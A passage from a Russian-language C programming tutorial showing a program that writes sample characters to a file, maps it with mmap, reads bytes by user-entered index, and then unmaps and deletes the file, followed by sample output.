Step 5 - Выполните действия по очистке, т.е. отключите отображаемую область памяти (munmap ()), закройте файл и удалите файл.
/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();
int main() {
struct stat mmapstat;
char *data;
int minbyteindex;
int maxbyteindex;
int offset;
int fd;
int unmapstatus;
write_mmap_sample_data();
if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
perror("stat failure");
return 1;
}
if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
perror("open failure");
return 1;
}
data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (data == (caddr_t)(-1)) {
perror("mmap failure");
return 1;
}
minbyteindex = 0;
maxbyteindex = mmapstat.st_size - 1;
do {
printf("Enter -1 to quit or ");
printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
scanf("%d",&offset);
if ( (offset >= 0) && (offset <= maxbyteindex) )
printf("Received char at %d is %c\n", offset, data[offset]);
else if (offset != -1)
printf("Received invalid index %d\n", offset);
} while (offset != -1);
unmapstatus = munmap(data, mmapstat.st_size);
if (unmapstatus == -1) {
perror("munmap failure");
return 1;
}
close(fd);
system("rm -f MMAP_DATA.txt");
return 0;
}
void write_mmap_sample_data() {
int fd;
char ch;
struct stat textfilestat;
fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
if (fd == -1) {
perror("File open error ");
return;
}
// Write A to Z
ch = 'A';
while (ch <= 'Z') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write 0 to 9
ch = '0';
while (ch <= '9') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write a to z
ch = 'a';
while (ch <= 'z') {
write(fd, &ch, sizeof(ch));
ch++;
}
close(fd);
return;
}
Вывод
Enter -1 to quit or enter a number between 0 and 61: 3
Received char at 3 is D
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2
Enter -1 to quit or enter a number between 0 and 61: 38
Received char at 38 is c
Enter -1 to quit or enter a number between 0 and 61: 59
Received char at 59 is x
Enter -1 to quit or enter a number between 0 and 61: 65
Received invalid index 65
Enter -1 to quit or enter a number between 0 and 61: -99
Received invalid index -99
Enter -1 to quit or enter a number between 0 and 61: -1